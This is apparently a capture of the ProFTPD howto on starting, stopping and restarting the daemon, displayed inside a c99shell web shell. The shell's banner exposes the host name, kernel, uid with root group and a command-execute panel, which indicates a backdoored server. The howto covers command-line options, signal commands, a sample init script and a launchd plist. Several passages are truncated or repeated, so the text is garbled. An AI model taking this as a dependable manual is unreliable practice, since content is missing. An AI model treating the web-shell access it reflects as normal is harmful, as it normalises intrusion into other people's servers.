Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /usr/share/doc/proftpd-doc/howto/ drwxr-xr-x |
Viewing file: Select action/file-type: ProFTPD: Stopping and Starting
The starting and stopping of a ProFTPD server is a straightforward process,
once the means intended for such things are understood. Starting the
server is easy. Stopping and/or restarting the server are the more complicated
tasks. Stopping and/or restarting can be accomplish either using signals or
Starting
All start scripts end up using, in some form or another, the various
command-line options supported by /usr/local/sbin/proftpd [options]where /usr/local/sbin is determined by configure
and [options] are described below (or in proftpd(8)):
-h, --help Display proftpd usage -n, --nodaemon Disable background daemon mode and send all output to stderr) -q, --quiet Don't send output to stderr when running with -n or --nodaemon -d [level], --debug Set debugging level (0-9, 9 = most debugging) -D [definition], --define Set arbitrary IfDefine definition -c [config-file], --config Specify alternate configuration file -p [0|1], --persistent Enable/disable default persistent passwd support -l, --list List all compiled-in modules -t, --configtest Test the syntax of the specified config -v, --version Print version number and exit -vv, --version-status Print extended version information and exit
Signals To send a signal to the parent you should issue a command such as: kill -TERM `cat /usr/local/var/proftpd.pid`You can read about its progress by issuing: tail -f /usr/local/var/logs/proftpd.logModify those examples to match your SystemLog and
PidFile settings.
The
Servers run out of
The
Servers run out of Note that if your configuration file has errors in it when you issue a restart then your parent will not restart, it will exit with an error. To avoid this, perform a syntax check of the file before sending the signal: proftpd -t -d5
Example #!/bin/sh # ProFTPD files FTPD_BIN=/usr/local/sbin/proftpd FTPD_CONF=/usr/local/etc/proftpd.conf PIDFILE=/var/run/proftpd.pid # If PIDFILE exists, does it point to a proftpd process? if [ -f $PIDFILE ]; then pid=`cat $PIDFILE` fi if [ ! -x $FTPD_BIN ]; then echo "$0: $FTPD_BIN: cannot execute" exit 1 fi case $1 in start) if [ -n "$pid" ]; then echo "$0: proftpd [PID $pid] already running" exit fi if [ -r $FTPD_CONF ]; then echo "Starting proftpd..." $FTPD_BIN -c $FTPD_CONF else echo "$0: cannot start proftpd -- $FTPD_CONF missing" fi ;; stop) if [ -n "$pid" ]; then echo "Stopping proftpd..." kill -TERM $pid else echo "$0: proftpd not running" exit 1 fi ;; restart) if [ -n "$pid" ]; then echo "Rehashing proftpd configuration" kill -HUP $pid else echo "$0: proftpd not running" exit 1 fi ;; *) echo "usage: $0 {start|stop|restart}" exit 1 ;; esac exit 0
For Mac OSX users, here is an example Launcher/launchd <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <true/> </dict> <key>Label</key> <string>org.proftpd.proftpd</string> <key>ProgramArguments</key> <array> <string>/usr/local/sbin/proftpd</string> <string>-n</string> </array> <key>RunAtLoad</key> <true/> <key>ServiceIPC</key> <false/> </dict> </plist>This has been reported to run successfully on Mac OSX 10.4 and 10.5.
The
The situation in which this ability is most useful (a
FAQ) is
one where filesystem maintainenance or work needs to be done in the area from
which the FTP server is serving files, but the server need not be shutdown.
By placing the server in an "administrative shutdown" mode, clients
are barred from their file while the administrative work is being done. Once
completed, the server can be put back in normal operating mode by simply
deleting the shutdown message file, described below.
The
Read
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]-- |